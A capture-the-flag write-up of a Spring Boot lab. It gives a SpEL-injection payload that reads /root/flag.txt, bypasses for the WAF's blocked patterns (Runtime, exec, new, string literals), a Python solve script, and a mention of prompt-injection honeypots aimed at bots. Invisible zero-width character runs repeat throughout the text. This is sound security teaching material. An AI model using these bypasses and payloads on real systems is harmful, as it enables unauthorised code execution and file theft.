← Back to Writeups
CUSTOMMediumWeb

Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page

XESXOR9/10/20265 min read
#web#custom#medium#honeypot_flag_identification#reflection_based_object_instan#scanner_file_read_without_runt#spel_injection_via_whitelabel_#string_construction_via_charac#waf_bypass_space_in_type_refer#cve-2016-4977

Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: honeypot_flag_identification, reflection_based_object_instantiation, scanner_file_read_without_runtime_exec, spel_injection_via_whitelabel_error_page, string_construction_via_character_tostring, waf_bypass_space_in_type_reference

Summary

Task: Spring Boot 2.4.1 monitoring platform with WAF and Whitelabel Error Page that evaluates SpEL expressions in NumberFormatException messages. Solution: SpEL injection via type reference with space bypass (T ( instead of T(), string construction via Character.toString() to avoid literals, and reflection-based Scanner+File for arbitrary file read.

Lab 138 — PulseGuard — SpEL Injection via Whitelabel Error Page — Hackadvisor

Description

PulseGuard is an infrastructure monitoring platform built by Sentinel Ops Inc. It provides real-time server health metrics, log aggregation with full-text search, alert management, and incident tracking for DevOps teams. The platform monitors 8 production servers across multiple regions, processes thousands of log entries, and manages active incidents. As a security researcher, you have been granted operator-level access to audit the application. Your goal is to find a way to execute arbitrary code on the server and retrieve the contents of /root/flag.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Spring Boot 2.4.1 infrastructure monitoring platform with a WAF/request filter that sanitizes dangerous patterns. The Whitelabel Error Page is enabled and evaluates SpEL expressions embedded in error messages. The goal is to bypass the WAF and read /root/flag.txt via SpEL injection.

Credentials: user@test.com / password123

Analysis

Technology Stack Discovery

  • Backend: Spring Boot v2.4.1 behind nginx/1.25.5
  • Session management: JSESSIONID (Java/Tomcat)
  • Error handling: Whitelabel Error Page enabled (classic Spring Boot fallback)
  • Security: WAF/request filter that sanitizes dangerous patterns across all endpoints ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Endpoint Enumeration

After logging in with provided credentials, the following endpoints were discovered:

  • / — Dashboard with server health metrics
  • /servers — Server management
  • /alerts — Alert configuration with toggle functionality
  • /logs — Log aggregation with full-text search
  • /incidents — Incident tracking
  • /settings — Application settings

Honeypot Detection

The HTML source contains decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection traps in HTML comments — these are honeypots designed to mislead automated tools and bots. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Whitelabel Error Page Behavior

Error responses return JSON by default. However, when the Accept: text/html header is sent, the classic Spring Boot Whitelabel Error Page is rendered instead. The /error endpoint confirms: "This application has no explicit mapping for /error, so you are seeing this as a fallback."

SpEL Injection Discovery

The /incidents/{id} and POST /alerts/toggle endpoints expect a java.lang.Long type for the id parameter. When a non-numeric string is supplied, Spring throws a NumberFormatException: For input string: "USER_INPUT", and the Whitelabel Error Page renders this message. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Critically, the Whitelabel Error Page evaluates SpEL expressions (${...}) embedded in the error message before rendering. This is the classic CVE-2016-4977 pattern.

Proof of concept: Sending ${7*7} as the id value returns the error message For input string: "49" — confirming SpEL evaluation.

WAF Analysis

The application has a WAF that returns HTTP 403 with message "PulseGuard WAF detected a potentially malicious pattern" when it detects dangerous patterns:

Blocked PatternPurpose
T( (no space)SpEL type reference
"..." and '...'String literals inside ${}
new keywordObject instantiation
Runtime, getRuntime, execCommand execution
ProcessBuilderProcess creation
class, .class, getClass, forNameReflection via class references
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

WAF Bypass Strategy

Each WAF restriction was bypassed with a specific technique:

Blocked PatternBypass
T(T ( — space between T and ( is valid SpEL syntax
String literalsT (java.lang.Character).toString(N) builds strings char-by-char from ASCII codes
new keywordClass.getDeclaredConstructor(argTypes).newInstance(args) via reflection
Runtime/exec/ProcessBuilderAvoided entirely — used java.util.Scanner + java.io.File for file reading
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Exploit Chain

Step 1 — Build file path string without literals:

The path /root/flag.txt is constructed character by character using Character.toString() with ASCII codes, chained with .concat():

java
T (java.lang.Character).toString(47)      // '/'
  .concat(T (java.lang.Character).toString(114))  // 'r'
  .concat(T (java.lang.Character).toString(111))  // 'o'
  .concat(T (java.lang.Character).toString(111))  // 'o'
  .concat(T (java.lang.Character).toString(116))  // 't'
  .concat(T (java.lang.Character).toString(47))   // '/'
  .concat(T (java.lang.Character).toString(102))  // 'f'
  .concat(T (java.lang.Character).toString(108))  // 'l'
  .concat(T (java.lang.Character).toString(97))   // 'a'
  .concat(T (java.lang.Character).toString(103))  // 'g'
  .concat(T (java.lang.Character).toString(46))   // '.'
  .concat(T (java.lang.Character).toString(116))  // 't'
  .concat(T (java.lang.Character).toString(120))  // 'x'
  .concat(T (java.lang.Character).toString(116))  // 't'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 2 — Create java.io.File via reflection (avoiding new keyword):

java
T (java.io.File).getDeclaredConstructor(T (java.lang.String)).newInstance(PATH_EXPR)

Step 3 — Create java.util.Scanner wrapping the File (also via reflection):

java
T (java.util.Scanner).getDeclaredConstructor(T (java.io.File)).newInstance(FILE_EXPR)

Step 4 — Read file content by calling .next() on the Scanner:

java
SCANNER_EXPR.next()

Final Payload

Sent as POST to /alerts/toggle with id parameter and Accept: text/html header: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

${T (java.util.Scanner).getDeclaredConstructor(T (java.io.File)).newInstance(T (java.io.File).getDeclaredConstructor(T (java.lang.String)).newInstance(T (java.lang.Character).toString(47).concat(T (java.lang.Character).toString(114)).concat(T (java.lang.Character).toString(111)).concat(T (java.lang.Character).toString(111)).concat(T (java.lang.Character).toString(116)).concat(T (java.lang.Character).toString(47)).concat(T (java.lang.Character).toString(102)).concat(T (java.lang.Character).toString(108)).concat(T (java.lang.Character).toString(97)).concat(T (java.lang.Character).toString(103)).concat(T (java.lang.Character).toString(46)).concat(T (java.lang.Character).toString(116)).concat(T (java.lang.Character).toString(120)).concat(T (java.lang.Character).toString(116)))).next()}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag value appears in the error message as For input string: "FLAG{...}".

Solve Script

python
#!/usr/bin/env python3
"""Lab 138 - PulseGuard - SpEL Injection via Whitelabel Error Page"""
import requests
import re

TARGET = "https://dc5d782d-1dbb-400b-bb0f-55860213bc8b.labs.hackadvisor.io"

# Step 1: Login
s = requests.Session()
s.post(f"{TARGET}/login", data={"email": "user@test.com", "password": "password123"}, allow_redirects=True)

# Step 2: Build file path without string literals using Character.toString()
def char_expr(c):
    return f"T (java.lang.Character).toString({ord(c)})"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def build_string(text):
    parts = [char_expr(c) for c in text]
    return ".concat(".join(parts) + ")" * (len(parts) - 1)

path_expr = build_string("/root/flag.txt")

# Step 3: Create File and Scanner via reflection, read with .next()
file_expr = f"T (java.io.File).getDeclaredConstructor(T (java.lang.String)).newInstance({path_expr})"
scanner_expr = f"T (java.util.Scanner).getDeclaredConstructor(T (java.io.File)).newInstance({file_expr})"
payload = "${" + scanner_expr + ".next()}"

# Step 4: Send payload via POST to /alerts/toggle
r = s.post(f"{TARGET}/alerts/toggle", data={"id": payload}, headers={"Accept": "text/html"})
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 5: Extract flag from error message
match = re.search(r'For input string: "(.*?)"', r.text)
if match:
    print(f"Flag: {match.group(1)}")
else:
    print("Flag not found")
    print(r.text[:500])

What Did Not Work

  • Direct Runtime.exec() — blocked by WAF (filters Runtime, exec)
  • java.nio.file.Files.readString() — blocked by WAF
  • Spring DefaultResourceLoader — blocked by WAF
  • Any payload using string literals inside ${} — blocked by WAF (filters " and ')
  • new keyword for object instantiation — blocked by WAF ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍